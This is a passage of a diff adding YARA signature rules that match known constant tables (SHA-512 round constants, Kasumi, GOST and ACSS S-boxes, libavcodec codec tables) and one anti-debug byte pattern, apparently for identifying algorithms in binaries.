8c80181b0b135c1f4f537437477354144450b03282b21c1d0d11242505214c0f4f430000000044064642ec2dcde15818485050124252e82bcbe37c3e4e72d81acad2c809c9c1fc3dcdf13030003094158591642545613c3c0c30b43686b2e424c4e0b83b8bb37c3c4c700c0e0e025010405038390931242606223032023284048480682949619013839334370733e427c7e324240420a42484a0c80bcbc350134353080a0a0284078783d819c9d14c0c4c40800383838c0f8f83cc0ecec2383b0b33480a4a42b43787b3 }
+
+condition:
+	$a0
+}
+
+	
+rule Kasumi_S9__16_lil_1024_
+{
+strings:
+	$a0 = { a700ef00a1007b0187014e01090052012600e20030006601c40181015a008d01b700fd0093004b019f01540133006a013201f40106015200d8009f006401b100af00f100e9012500ce00110000004d012c00fe007a013a008f00dc00510090015f0003003b01f5003600eb00da009501d8010801ac00ee01730122018f014c00a500c5008b0179000101e001a701d400f0001c00ce01b0009601fb012001df00f5019701f90009015900ba00dd00ac01a4004a00b801c400ca01a5015e01a300e8009e00860062010d00fa00eb018e00bf004500c100a9019800e3006e01870058012c011401f200b5014001710016010b00f30057003d0124005d00f0011b00e701be01e201290044009c00c9018300460193015301140027007300ba017c00db018001fc0135007000aa00df0197007e00a90049000c0117014101a8006c016b0124012e00f3018901470144011800c8010b019d00cc01e801aa013501e500b701fa01d0000f015d019101b201ec001000d1006701340038007800c7001501d101a001fc001f01f600060053003101a40159019900f60141003d00f4001a01ad00de00a20143008201700105016500dc012301c300ae0131004f00a6004a0118017f01750180007e0198019b00ef016f01840112016b00cb01a1013e00c6018400e100cb003c01ea000e002d015b00f7011e01a801d3005b0133018c007601230067007d00ab011300d600c5019200f2013a01bc01e60000014901c6001d01320074004e009a010a00cd00fe01ab00e7002d008b00d3011d005600f901200048001a00560196003901ea01af01ee009b0145019500d90128007700ae006301b900e90085014700c0011101740137006e00b20042010c00d50188017101be0001006d0077018900b50058004b0034010401e40162001001720113019c016f0050013e010400f801ec01030130014d005101b301150065012f014c01e30112002f0055001900f101da01210164000d012801de010e016a001f006800b10154009e01e6018a01600063009a00ff0194009d0169019901ff00a200d7002e01c9000a015f0157019000b9016d016c002a01fb002200b600fd018a00d2004f0185003701600148018d008c015a017b003f01c2011901ad01e400bb01e1015c009401e501a601f80029011700d5008200d2011600d9001b01460026016801a3017f00380179010700d401c200020075002701cf010201e000bf01f700bb0050008e011c016101690086012b01d701d601b8003900c8005c013f00cc00bc002100c30161001e003601db005e00a0008100ed014000b30007016600bd00cf0072009201b601dd0183017a00c0002a007d01050091007600b400c1012501430188007c012b0042003c00c7015501bd01ca00b0010800ed000f007801b401d0013b00cd01 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdvdkit2_css_p_variants__8_byt_32_
+{
+strings:
+	$a0 = { b77485d0ccdbca7303fe310352e0b7426316f22a7952ff1b7a11ca1a9b40ad01 }
+
+condition:
+	$a0
+}
+
+	
+rule Hash_constant_words_K_for_SHA_384_and_SHA_512__64_lil_640_
+{
+strings:
+	$a0 = { 22ae28d7982f8a42cd65ef23914437712f3b4deccffbc0b5bcdb8981a5dbb5e938b548f35bc2563919d005b6f111f1599b4f19afa4823f9218816ddad55e1cab420203a398aa07d8be6f7045015b83128cb2e44ebe853124e2b4ffd5c37d0c556f897bf2745dbe72b196163bfeb1de803512c725a706dc9b942669cf74f19bc1d24af19ec1699be4e3254f388647beefb5d58c8bc69dc10f659cac77cca10c2475022b596f2ce92d83e4a66eaa84744ad4fb41bddca9b05cb5531183da88f976abdf66ee52513e981032b42d6dc631a83f21fb98c82703b0e40eefbec77f59bfc28fa83df30be0c625a70a934791a7d56f8203e05163ca06706e0e0a67292914fc2fd246850ab72726c9265c38211b2eed2ac45afc6d2c4ddfb3959d130d3853de63af8b54730a65a8b2773cbb0a6a76e6aeed472ec9c2813b358214852c72926403f14ca1e8bfa2013042bc4b661aa89197f8d0708b4bc230be5406a3516cc71852efd619e892d110a96555240699d62a20715785350ef4b8d1bb3270a06a10c8d0d2b816c1a41953ab4151086c371e99eb8edf4c774827a8489be1b5bcb034635ac9c5b30c1c39cb8a41e34aaad84e73e363774fca9c5ba3b8b2d6f36f2e68fcb2ef5dee828f74602f17436f63a57872abf0a11478c884ec39641a0802c78c281e6323faffbe90e9bd82deeb6c50a41579c6b2f7a3f9be2b5372e3f27871c69c6126eace3e27ca07c2c021c7b886d11eebe0cdd67ddaea78d16eee7f4f7df5ba6f1772aa67f006a698c8a2c57d630aae0df9be04983f111b471c13350b711b847d0423f577db289324c7407babca32bcbec9150abe9e3c4c0d109cc4671d43b6423ecbbed4c54c2a7e65fc9c297f59ecfad63aab6fcb5f1758474a8c19446c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_Chinese_AVS_video__AVS1_P2__JiZhun__inter_2dvlc__8_byt_1512_
+{
+strings:
+	$a0 = { 010101ff0101010201ff0201010301ff0301010401ff0401010501ff0501010601ff0601010701ff0701010801ff0801010901ff0901010a01ff0a01010b01ff0b01010c01ff0c01010d01ff0d01020102fe0102010e01ff0e01010f01ff0f01011001ff1001011101ff1101011201ff1201011301ff1301030103fd0103011401ff1401011501ff1501020202fe0202011601ff1601011701ff1701011801ff1801011901ff1901011a01ff1a0100000000040302020202020202020202020202020202020202020202020203000000000000001a000000010100ff0100000000010200ff0200010300ff0300010400ff0400010500ff0500010600ff0600020101fe0101010700ff0700010800ff0800010900ff0900010a00ff0a00020201fe0201010b00ff0b00010c00ff0c00030102fd0102010d00ff0d00010e00ff0e00020301fe0301010f00ff0f00020401fe0401011000ff1000020501fe0501011100ff1100040103fc0103020601fe0601011200ff1200011300ff1300020701fe0701030202fd02020005040303030303020202020202020202020202ffffffffffffff020000000100000013000000010100ff0100000000010200ff0200020100fe0100010300ff0300010400ff0400030101fd0101020200fe0200010500ff0500010600ff0600010700ff0700020300fe0300040102fc0102010800ff0800030201fd0201020400fe0400010900ff0900010a00ff0a00050102fb0102020500fe0500010b00ff0b00020600fe0600010c00ff0c00030301fd0301060102fa0102040202fc0202010d00ff0d00020700fe0700030401fd0401010e00ff0e00000705040403030302020202020202ffffffffffffffffffffffff02000000020000000e000000010100ff0100000000020100fe0100010200ff0200030100fd0100010300ff0300020200fe0200040101fc0101010400ff0400050101fb0101010500ff0500030200fd0200020300fe0300010600ff0600060101fa0101020400fe0400010700ff0700040201fc0201070102f90102030300fd0300010800ff0800020500fe0500080102f80102010900ff0900030400fd0400020600fe0600050201fb0201010a00ff0a00090102f70102040301fc0301000a060504030302020202ffffffffffffffffffffffffffffffff02000000030000000a000000010100ff0100000000020100fe0100030100fd0100010200ff0200040100fc0100050100fb0100020200fe0200010300ff0300060100fa0100030200fd0200070101f90101010400ff0400080101f80101020300fe0300040200fc0200010500ff0500090101f70101050200fb0200020400fe0400010600ff06000a0102f60102030300fd03000b0102f50102010700ff0700060200fa0200030400fd0400020500fe05000c0102f40102040300fc0300000d070504030202ffffffffffffffffffffffffffffffffffffff020000000600000007000000000000010100ff0100020100fe0100030100fd0100040100fc0100050100fb0100010200ff0200060100fa0100070100f90100080100f80100020200fe0200090100f70100010300ff03000a0101f60101030200fd02000b0101f50101040200fc02000c0101f40101010400ff0400020300fe03000d0101f30101050200fb02000e0101f20101060200fa0200010500ff05000f0101f10101030300fd0300100101f00101020400fe0400070200f90200001108040302ffffffffffffffffffffffffffffffffffffffffff020000000900000005000000000000010100ff0100020100fe0100030100fd0100040100fc0100050100fb0100060100fa0100070100f90100010200ff0200080100f80100090100f701000a0100f601000b0100f501000c0100f40100020200fe02000d0100f30100010300ff03000e0100f201000f0100f10100030200fd0200100100f00100110100ef0100120100ee0100040200fc0200130100ed0100140100ec0100020300fe0300010400ff0400050200fb0200150100eb01000016060302ffffffffffffffffffffffffffffffffffffffffffff02000000ffffff7f04000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_4XM_mv__8_byt_512_
+{
+strings:
+	$a0 = { 000000FFFF0001000001FFFF01FFFF01010100FEFE0002000002FFFE01FEFEFF02FFFE010201FF020102FEFE02FEFE02020200FDFD0003000003FFFD01FDFDFF03FFFD010301FF030103FEFD02FDFDFE03FEFD020302FE03020300FCFC0004000004FFFC01FCFCFF04FF0401FF040104FDFDFD030303FEFCFCFE04FEFC02FE040204FDFC03FC04FDFB00FC03FD040304FFFBFBFFFB01FF05FEFB02FB05FE0502FCFCFC04FDFBFBFDFB030305FA000006FAFFFA01010602FAFA020206FBFC05040405FAFD0603F900FFF905FBF901FF0704FA0604FEF9F902FDF907FD030706FB00F8FFF8F9FCF801040702F8FE080606F80305F9FB0708FC00F7F7FF010907FAF906FBF8FB08F70309FC07F908FA06080A01F60209FB0AFDF8F9F6FC06F7F5000B01F5FEFE0B07F7F9090A06FC0B08F70809050B07F60CFD0B06F7F7080A050CF5070D0206F40A09F508F90C000E0EFEF70BFA0DF2FCFBF2050EF1FFF2FA03F10BF5F90EFB0F08F20F06031007F1F0050011F0FAF60EF0070C0DF008EF06EE03F9110F0B100A02ED03EDF5F0EE08EDFA02ECEFF5F6EE0813EBFFEC07FC1515050F1002EAF6ECEA0514F5F9EAF41417FB0DEC18FEF113F516101317F6EEEEF7E818F6FD1AE90DEEEC1115FC1B1B0601E4F51AEFE9071C0BE51D05E9EDE4F5EB16E207EF1AE5100D1D13E60AE1F2E214E5E312F0E1E4EA15E2E71C1AE319E0E0E0 }
+
+condition:
+	$a0
+}
+
+	
+rule Gost_sBox__8_byt_128_
+{
+strings:
+	$a0 = { 040a09020d08000e060b010c070f05030e0b040c060d0f0a02030801000705090508010d0a0304020e0f0c070600090b070d0a010008090f0e04060c0b020503060c0701050f0d08040a090e00030b02040b0a000702010d03060805090c0f0e0d0b0401030f0509000a0e070608020c010f0d0005070a040902030e060b080c }
+
+condition:
+	$a0
+}
+
+	
+rule ACSS_encryption_sbox__32_lil_1024_
+{
+strings:
+	$a0 = { 330000003b0000007300000015000000530000005b00000013000000750000003d000000350000007d0000001b0000005d000000550000001d0000007b000000670000006f0000002700000081000000c7000000cf00000087000000210000006900000061000000290000008f000000c9000000c1000000890000002f000000e3000000eb000000a300000005000000430000004b00000003000000a5000000ed000000e5000000ad0000000b0000004d000000450000000d000000ab000000ea000000e2000000aa000000000000004a000000420000000a000000a0000000e8000000e0000000a800000002000000480000004000000008000000a20000003e000000360000007e000000140000005e000000560000001e000000740000003c000000340000007c000000160000005c000000540000001c000000760000006a000000620000002a00000080000000ca000000c20000008a0000002000000068000000600000002800000082000000c8000000c00000008800000022000000ee000000e6000000ae000000040000004e000000460000000e000000a4000000ec000000e4000000ac000000060000004c000000440000000c000000a6000000e7000000ef000000a700000001000000470000004f00000007000000a1000000e9000000e1000000a90000000f000000490000004100000009000000af000000630000006b0000002300000085000000c3000000cb00000083000000250000006d000000650000002d0000008b000000cd000000c50000008d0000002b000000370000003f0000007700000011000000570000005f00000017000000710000003900000031000000790000001f0000005900000051000000190000007f000000b3000000bb000000f300000095000000d3000000db00000093000000f5000000bd000000b5000000fd0000009b000000dd000000d50000009d000000fb000000ba000000b2000000fa00000090000000da000000d20000009a000000f0000000b8000000b0000000f800000092000000d8000000d000000098000000f20000006e000000660000002e00000084000000ce000000c60000008e000000240000006c000000640000002c00000086000000cc000000c40000008c000000260000003a000000320000007a000000100000005a000000520000001a000000700000003800000030000000780000001200000058000000500000001800000072000000be000000b6000000fe00000094000000de000000d60000009e000000f4000000bc000000b4000000fc00000096000000dc000000d40000009c000000f6000000b7000000bf000000f700000091000000d7000000df00000097000000f1000000b9000000b1000000f90000009f000000d9000000d100000099000000ff000000 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__IsIceSIDT__8_byt_26_
+{
+strings:
+	$a0 = { 83c0088b1883c0168b0025ffff000081e3ffff000029d883f81e }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_adpcm_vb__16_big_8186_
+{
+strings:
+	$a0 = { 26C8F5C6FBBBFB112B45F4C4F92DFECC2907FBC6FA6EFB712479F69DFA29011229CAF61FFDECFB9E2880F07AFB10FD122756F1AD015A035F2826F3EB0137FDC026A6FACEFA6CFCA42930F87DFBDEFC352AF4F9A0FCB7FA842E38F277067AF83A2A64FD50F59EFE0D2932F92BFF6DF93B2A31FC14FD3CFA53295CFE47F7BFFC48279DF2FDFDBAFA682588F5E2017F01022C9EF33F00E5F9F828DCFAC6FD37F9E02842F947F984FDA5256CF8ECFB2DFBDB2CCFF713F9AFFDA12761F74FFA80FC9C29DBF5C0FAA9FD402978F8B1F52EFFDD2488F6DCFC00F9E22B39FA4EF87AFD212C46F7F8FBEFFB882661F800FCE6FA002E4AF579FB9DFC9D299EF74EF89DFE8B2728F9EBFCD8FBD32B86FB0EF35A00802DD1F32EFDFEFC0D2C8AF7D2F6E1FF4327D3F1B600B5F8AD2CA7F5BEFE6CFA9F2AF9F0E4FD95FBCB2A8EF6010112F92225A1FA36F733FCFB2BEDF307033EF84C2628F573FF39F8BD2904F806020DF8052D95F01B0125FA4423E8F839FDB9FFC32749F36CF821FE272519F6F5F646FE2D28D7F403FB56FC11270AF870FFC4FB37244FF794F91FFB922765F15CFBFE00C52476F6C80324FEA12D29F6070548F6F73225F06204ABF85A2782FBB4F692FE76247DF61E013B02F32793F3A40583FD5E253FFC77F9F102432DC5FA11F415005B2660F4A1F52900C025BEF48AFDCF05AA2B4DF2C0FAEEFD6D22FBF7CAF89502BF219FF932EF04032E1DD8F7F1F1DF00341BA2FCC6EF1B11171E220248EF72078718D3FC48ECD00C371B9DFD6CE6F30FF72079FF7CF46CFC941B28FA72F086FFE82453FD22F3F0FEF9250CFDC2EE5F01D21C4EFFA5F169FD402085FA77F3EEFDEE1945FB36ED6B033D19FCFE90E9CE05711F23FB02F71404B51C3DFD45F21C07301F3A0504F55702DC232DFD46EE56088D1B3300C5F559017C214F0087F069FF2B228803A6F43AFDC9278D01A2F32CFE8D18DF0169F6F209FA1ED400ACEB8112411A120183EAD0112E186002ACF03104C32BA2FCE6EC2704AB2DF5FD78E78708042A5DFCF9F103016E30D0FD4FDFBC0DEA1ED5FB72EC9403DC2190041CE89E0C0F1C6D0752E9CB0DFB1AF407E0ED370DA32152F69BF34E07C224D201EEE46513AE282D0234DFEE14FA222DF761F0740B2425B5F582EF340578262AF712E9E11089212AFFFCE47811901E11FB47EB300C6F19330321EF1CFDD61CDB070EEB6F02211D1AF702EEA3058A2271FAA6E93D08782854F69AEA030A13229FF5EEF22F01D31AF5F9A8F39F0D401EA6009CE4DC0D351EF8FBA5E8AC12D017C9FDA9EEF0FEC01E9904DEF088FD9322E309D9E590080422C40798EFE200281DEDFFDEF4D909B016F101DAF3420E801D6FFF16EDA500D816E0008FEBEA004922F0FF96E90E0E4F1BDE01AAE9090B4F27D703F3ED66017121060108E8AD050B1E8EF66FEF1311BC1838F53AF5B805D917B6EF25F575019E1B87F165F3760424162BF127F563FE6912B5F021F5BCFD180FB7F2DAF3C3FD2A10C8F699F2CBFDFF1124F48DF4FC05E811CFEF77F86B07B81A2EF378F92506901140F23FFBE40BA81BF2EF56FB4D0E940E29EF6EF35405731976F4D8FAE80B47181AF863F43A0F851445F66DF04C0D95184AF454F87F0F0412DBF198F8780D0F1A0CF069F50B0C1714B1F3D5F19C095614EAEDFAF59A05E01064F3EDEFCD046F0DD4F4B3F059006415C1F9BEF059077510F5F7D5EF5000FC15B7F4C2F10801F211C4EE81F4AEFFE51438F642EDE505C40CDEF263F16602CC1338FB33EF9DFE930CB9F242F2EB0B2E14A6F864F263FCF61966F415FF680B2616E8EFA0FBCC0D7B1230F3CEF28800B31713FD0EF9C40C2C1C3DF1A0F9CA0B4C13F3F0D0F2DC03261A6CF5B5F2860086148AF4F5F4E4FBE416A6F943EF2F00CD151CFB43F2DE01C11850F54EF41AFDBB107FF67AF55B0EA1128FF2ADF7B500740F1CF448F08E08F91AA3F4ADEF4B0B09106FED6EF508036112C4FA2AF833125014A2F75BFDDC0DE715CCF888FDCA11121818F4D7FD600FD519B7EE5DF4DE0686196FF3EBF06C058D1226F902FA5D0E42171BFC64F81C03801E86EFABF3B007D7182EF742ED2F08E71281F03EF328072B1FE1F1CFF2A10C411CF7F6D1F7D810C2100AF62BFFC20B59132DF3B7FD9A1010134AF32FFE73044CFF5303970635EB0DFFF3031CFED9E601F8BCFCC30475EE3508FAFCBAFD68EC73FC8CFBB7081AEDFBFF9B01190B1EEE49048E01C5097DE8EA036FFD680942EAB40587FE8EF95DED89FA7B04FDFD63E60708550130FC38EDF0017C024AF7D9ECE405380113FFAEE963F6650421FFDEEAD808E6F9220362E9EB0799F709FF6BEB4A0507F23B03E4EB7908F903230499E84D00BBFF4CFD95E7C6FCE7F6170612EC3FF571FF34FD8BE923FC11FF6E0139EA32033E01650365E725FF1CFDC1F397EEAFFC17F9EFFF72E9B4F994069306B9EE4B037D0784FFF1E9610893080DFEFAEAA10BD7010E0137EC1807780666FA0DEDBBF3BAFFC900FDECCE0164F9700157E815F73FF93AFC30E8CDF76CF4B30223ECB6FB23007EF884EAD5FF07F155FA72EA26023FF585F87AEE2AFD06075D00C0E908FCD5F5FEFBD4E883F728F3F2FC30ED590046FB410B40EEC602CAF1500B64EDADFF0CF2B406CCEE7302ACEBEFFEB8EA18FDEFF10FF906EE49FD37ED79FBA2EA560A9EF1340706E9B4F999F1A1F9E4E831069DF5AEFA93EE4501F9F9DBF98DECF2FCBDF730F86BEB1805B8FE6507C9E6D701EDF390FF6FE7FCFA7B01F3F9AFE6B1FEDA06BAFA75E9A3F487FA08FF51EDF0FDAEE8E9FFC8E7FEFED4EF4D0484E8C50228F5AD0A6DF0890389EFC206FDE94F0538F827083CE8F10613F1F00456E599FAF2F278004DE83CFB8DF05AFB0AEFABEC1AF3200444F4E1EA81F4BD07C0F7EDEDC1EF86FA77EFDCF14DF11604EEF3F6EBF4F29A0B70FD28E8BBF4C304E3F672EEB7F6F1FF2CEF4CE7C7F83706EEF77AEA84F1040899FA8CE4EAF6E2093EFAF3E814EFD40539F847E667EFA606DCFAD3EBFAFB1602E8F1B8EBD1FA92062DF4B1EE53F2BA097DF8B7F014F39107EBF632E7D1F336072EF8EAEE9AF53F0AA3FB5FE601ED4300FBF5DDE744F748072800D9E913F95E00860154E62AFBEB084EF874ED05F7C507DAF67DE77EF9AA0AF8FAA2F3D1F3770209F06CE9D4F7DEFE5CF569E45FF1D902B8F6D9E89EEF80023CF66AEF0CEE570372F52DE7DEF8730217FA5CECC5EFBD06D0F7EEE6F6FA110422F585EC2BFB5F0358F758E44DF67402AFF5DBEB5CF78B0CA7FC1FED65FA2700C5F395EFE0ECA2FE74F206EC42F0DAFD79F590E4A3F2EC068FF9D5E979FC070A16F885E463F51D0533F7EAEA64F70802C2F47AEC3DF229FCCBF1CBE611F8D503F8FD48EA15EB9CFD4AF2D5E896F50D0B75FD27E8C4FD95063CF58CEA92EEBD0099F33FEF17F290066EFA61F00DF07600B1F20FEF3FF5D904C8F3FDE9B5F34B0778FD09E632F2930A02FDC5EB7AF6740301FEA0E66FF3AE0246FBB1EB30F73F0A06F911E3D0F8700602F841F16EF66D01AAF0E3EC0AFA9707EFFB6FE6BAF565010DF3CDE952F650FF9FF108F19DECCCFE16EF16E73BF7DDFD63FF8DECCFF011FCBBEDBFF336F63F091EF5A4FAFAF93D09F6F154F2D1FC93039EF077F623F7E10B3FF5BFEB44FE080C27F9B9ECD801CC0FFDFB30F83706501230F887F267FB680C2FF744EFDCFA220923F60FF612047F0DF1F60AEEE301AE0C4BF7DEF0D003630F3BF987F4D3050A106AF845F0CBFF03093BF534F95702B00EF3F495F75109080E74F3B4F83EFD30139DFCE5F39700F207A0F2E8F8C205E509E0F119F39B0061139BFD3EF57FFF6F055FF0B5ED1AFE7F09B8F685EE33FE9D0643F40CF23E07280CDCF58EF147030C094AF570EF1DF8740D56FB6FF54C04860AA9F337F1C100D205B8F4B4F6DAF7CF05E9F171EEBAFB260C3AF8D7FAE4FBF110C2F8ADF926F6190CE2F6F6EFFAFF460FC5FBBAFC1006220CDA00ABF306F5C30AE7FA00F615F5DB0D72F978F2ADF8210E56FB6AF7CF02DA15CDFA89FA1AFFB612D4F82CF00AFC9C1149FCFDFC44FC260E38F493F7D9FB1E0D88F666F314F6950536F1ADF728FE7B0FA4F8C2FD5800EF0FDAF2C4FAB3001E0BB1F1B6F1EFFDD80499FB90F5AF01BA1116F9A7F62303020668F0C9F39CFC850F35F9B8F44C000D0CCDF692FC7D041F1176F63BFE5AFDB80D93F135F846FDAF0A06F2A9F3B2FB00093AF419F1F800E00402F0A4ED18FB5B0E31FC91F090F7310B64F8DEF961001C0712FEA3FD17F64C0CECF323FC08061B14F5F8E1F784F90510AAFAF9FB27F8610F8EF693F827F5B1091AF26813F1F9AEF5E4F8211961FA0DF36EFC72197EF6FFF813F90214A9FF9DF294FE701695F9A9F9D7F5C7148BFD62F3CBF95C18C7FB18FEB5F36A1F1FFD5AF76DFA4A17E7FD49F454F9FE17DC01EEF2E1F9F413CB03C9F6E8F56D1DABFE4DFA27F7F81B11FD31F68CF97F14460248F45AF7C917DAFE44FA7DF54D15D00121F8F4F50D149C00E3FB64F2DF1D78FA0BF8D6F9431762FA42F5D2F95B13E8FD03F950F442152FFF6BF0A3FB7B1DE3001AF673FA1D1289FE30F939F6C614E8FC0DFBBAF831189CFD60FDE2F8621A13FC04FADAFBDD1C32F80CFDA5F6621E4BFA16F682FB3313B101C1FBE0F69B1A36F71BFAC0F7141AA8FABDF73200FB17B4F8BFFC29FADC15E3F77FF556FA3B16CEFBDDF1ECFC3613D4FCEBFEB1F693182FF99EF830F7AF13E4FAF4F611FBF614B901B3F952F8C617FC0231F780F6B41A60015CF640F89E19050111FBB6F5261B1EFAC4FE10FA9B1476FD51F66AF6D31B2FFC8EF8D7F7F31894FF03F7B3F76916CEFDC2FD09F3711B2AFA34FD80F52D1D4AF956FB46F7961A74FC15FB2DF61C177E00E4F796FBAC1B1FF77EF5ACFB9E1C5EFD05F410FBBE1881FA3AFBD000B1127E01A9F4A001651BD900A8F9FFF6E91C24FE4EFD16F59C1ADF0039F3F1FAE2120FFD9EFD32F27D19A5FDE1F832FEAD1290FEEBF7EEFA831D0BFA78F890FE070FEC0096FB3AF21C1BAAFFE4FA50FB6A1735FE42FAD2FB7A0F1EF990F656F5E3035A0025F2C5F1770DE5FA21F980F2C90D08F84CF3F9F7580C72003CEFA7FCA10D80FCFBF406F6671023FC6FF7F4F5D7114FFD4DEFEEFC340D85FEB2F1A0F92907D6FE35F75AF10D052A0020F500F37D1149F897F519F86611980017F2A3F88B0C12FC8BF6C2F3400C89F6C5F16EFCBE0CF0FA41F1C7F9D51058F97BF305FB20088EFC5DF31AF4800B83FF1BED49FB5507E4F9A6F574F3CB08A6FEBAEF00F96D0CD6F5C5F694F66603E8F5F5EFDFF79209C0F5BDF1E5FA6707FBF771F789F10D0A0BF610F885F36A07E6FA23F0F0F78B0A7DFB64FA4BF03A064AF6F7EED9FB6B0924F646EF89FDFC06CEF5C9F1D0F79E020BFAF3EF6AF6760E8DF55DF43AF9D80DE2FA9BEF98FCC8050BF9C6ED57FA6A05AC0203F470F10A10A8FC82F317F8DE0A2EFA54EE56FC3A04ACFCC2ED39F8E8041EFCF9F5C8F019106E019FEF08FB940BE401EBEFE2F87203DCFC7BF2E7F28D06C1F409F725F2D60F4B0390F453F6AD0EC5012CF667F4160A98039CFABAFB4A10860195F6D902990756FC97FF1FFFE30DB60038FACAF2A40B2205A7F5A5F3B205E6FD3EEFE3F64D0C2B0319F964F0CA0A6B00D5F463F51E04A0F6B0F415F39B085B031CF7E1F18F05B8FA35F172F53E0967FB84F0B5F9DF0A34F90DF36FF7210966F4CAF487F640085C007EF1C2F53A0B88FBF4010CFA71005DF875F0FFF2310185F477F2C9F2F121CCEA79F98202351D03F519F619FCB6215DEF63FA81FC241F52F37DF44A00691C3FF0AAFC42051C1CA3F196FE950A1A1A93F1C2F74EFC791FE3F505FE23F745248CF116F96BFD542112F4DAFED2FD46210AF368020501171F8AF5C5FAD20A24224BF537F621FE471985F4B9FC7DFD481CE2F6FFF996FF882059F13CFFEA051923C6EEC3FCF503852347EB88FBAB068E220DF1BE019AFBCD1C95F383FCCEF7281EFEF6AFFB42F8A22040EEA7FEDDFDB51CBEF2BD0442FEF224E6ECD2FAC1FE271FFBED8AFCD8048E1D50F0FBFFD1010B1F5DF79EFAFDFE811D25F56FFCAB030F2497F1CCFD7BFE9E22FBF26FFECCF86521E4F585F7CD05CD1D39F445FC99FE441F4FF4E9F97704971B23EDDDFA09FBE91DC6F5F1FF77FC4024ACEF49FD3DFAD620BEEB75FAFDFDCB1AC8EFD6FBFA027621D3F5F5FB9CF97E223BF121FDE709EF1F71F206F776FDA42050F6D1F83FFB421AC7F12CFA09F9A11C0AF4B0F9C0F9241B80F4B8FFA7F9CE1875F2B5FEF803E61E4CEDA5F9F9FCBE1E02EDF2FD0AF9472287EF78F48C07A72493EDB9F85C00271ECBF1E0FA7AFA68227CF38CFAB4FAE01E42F06DFF87F688242EF348FD4B03321DF6F2A4FF6C0DB01CB0F3910260063B2310EFD5F8C805181A34EFDD0021FCAC1EA0EEB3F71D004F2314F0EEF4EA01C51E87EE04F5FD03B020B4EEBAF9090BFF21AFEBF8F9260B481D26F32F0379039820E0FFC5FAD8F8DF1EF8FA30FE62F63D1FAEFC2FFBE9F8062056FD51F9C3F9F21F34FF52FC2FF7C621A1F9F5F9A4FA092328F8FAFC4EF91F22FAFC98FA84F9C622EB01D2FD14FB44254DFEB7FF4FFAB024C3FFEEFB9AF9E0229BFCF2FE18FAC622FBFF26FFD5FB4723ABFFBBFE3BFC17236DFA11FBBDFB51241FFAE3FDCAFB862150F9AFFEE1FADF1E53FD17FF6BF8082066FEA90101F5B727A5FC83FDD8F98F24B6FC6D00DAF80625E7FB56FD5DF9C82572FD44FE55F95222E201F1FA5BFB3E2445FAD5FF5DF9F020EFFAF7FC27FA842305FD71028DFA352546FC17FC49FB9823F5FD79FFDBFC8E219BFFC80202F8FF2454FFF4FAD4FDC9224500EEFF48FA5026D5FAE6FFBBF90024900117FE88F88123DCFEE3005FF78626C2FE0BFC36F9DE2095FA2BFCA8F7D4224CFC2BFCAEFC0A25F9FDDCFA20FBBA26F5FA2B01E2F7C72203FEB3FBFDFBC1238AFE2BFEC5F94522AFFBE6FD6BF81C2299025AFC9EF88222F1FBFFF796FBD12124F876FE2CF77D23D9F891FF20F7C021CCFF77F7CFFB422367FC33FA83FCFC2470FE380296F65B2775FD47007FF7BF25D5032BF6C9FC00218AFFA2FE34F8421EF4FF73FE03F62F1E5DFD63FF95F4ED21BCFBD8FFD2F69726140254F8E9FABB22DC01300223F5CA24E202EAFB7FF97124EEFEEAFDEFF84821280231FFE0F7902763FFC1F9F8FAAC24AEFB020238FB95260CFFCFF733FC720E34F6A9FBA5F1E2177EF37CF892F8F0169BF257FBA4F5E2110DF41AF9A0F594127DF770F813F65C1524F53FF99FF6601167F2D1FD01F2B91168F994FC29F4E70FC7F6250026F0810D4EF59A0048ED6B10B7F82B041FEED110E1FA9FFCA4F1360E9FE995FD75F4190DC8EA7A0169F0241960ECEAFF78F57F11A1EB7A0227F056199DF2ABFFA4F409105AF7F500BB002F1842EFEBFB18F83F1796EF09015FF7B410D1ED54F7E3F8971180F119F74CFA0315CEF19704C5F29B159CECF604ABF5331976F4DBFC77F5F8155BF77001D6EFED102BF9D700F0F25B14A1F87AFD27F2F4145EF4CA054FEF3F0BE6F24AFA00F3721539F4BFFB32FB6012FDF0A4FBD1F519163DEF76F88EFA220FA4F0A1F8F4F6B10E90F13002A9ED5B0E25F42AF861F5DA140DF0C1002CF18C0DE9F285049FEB4B13A2F536F6DBF90C16D1F644FE2DF37615D7F90101F1F65813BEF0C6F8E2F7CF16B5F5180053FA431150EE6F0686EBB714DAEDD3FBABF7680CA7EECFFD78F1B90863F1F2FB50EF6E1141F721F9F0F376195EEEF80354F2130959E72AFCA8EE54135FEF9CFCB1FA85133CEAC2FF1EF42E109EEB49FAE6F6881019F3CAF6E2F8430D6DEEA5FA48F4770C83F27DFDEFEF0D1708E8C7021FF35207C3ED83FF24ED011106EEB1FDFEF3F711E7F690FE14F7110B7FEC5501A3ECC114EEEBF703DBEF2B116CF2C006D8E9FE0D57EDE705E3E8C7032BEDACFE43091D03F1EA13F8BF0550053AF568F5600BDC03EAF156F5EA092802EEEE00F6E202CA07FBF379F4FA087DFF74EDD2F4770165FFCAF046F6B80A870742EC62FD3308EF0810F0CAFD2E0CB70AA7EE32FEB40A2B0712EAFE011B07220F5FEF1A02FA0D37FD01EDA7F63207820862EF28F3EE06690036E907F7BE039907C8E97AFD80062604B0EB05FBA607240B9DEB27002208DA05FBEC66F4FF04A80C06EE26007507C6039CEF42FA940A99008EEC3EF4E005CFFF96E7DCFC8F034A02A1EAC7FF1B063C030FE9B2F5200232078FE99FF8270358FE66F2D1F3020AAE00EAF448F5BC0CBC02DDF2B3F12206350303EF43F228052204A8F215F088088200CEEA4DFB1E060AFF7EF119FB460BE10286F09CFE770BB0FF48ECBDF91907850ABAEC00F71D05B80988F16DF2E80AA9FE16ECB2F13D03E50044F5B4EFB90EC20030F06EEFEA083AFC2EEA92FAC8056E0466EB4FFCA90280FE28F079F1DA06150998EB20FA0D0670FCFAE9ECF68F047B03E3E816FCD4046C0CD2EE25F91D087F0E47F0EAFD5C0DF00BDEF1C1F9780D350A23F46CF52C0CBF1050F2E7FB8411020643F28EFA240D74033CE7AEF90902A6058DF2FBF3F80D4B0461ED89F87C07C0FF46EC25FD5607040333F526F260021201A5F4C7F1080A240874EF59F9BB08EA0249EEABFD56FE15FD7CEE9CFB7B091507C7EF3500D20B120857F1D0F7BF0299E2C6F55CF59AFA9CE4B9F78AF154F24BE453FA61F6A3F3D8E1B0F417F309F4FADF2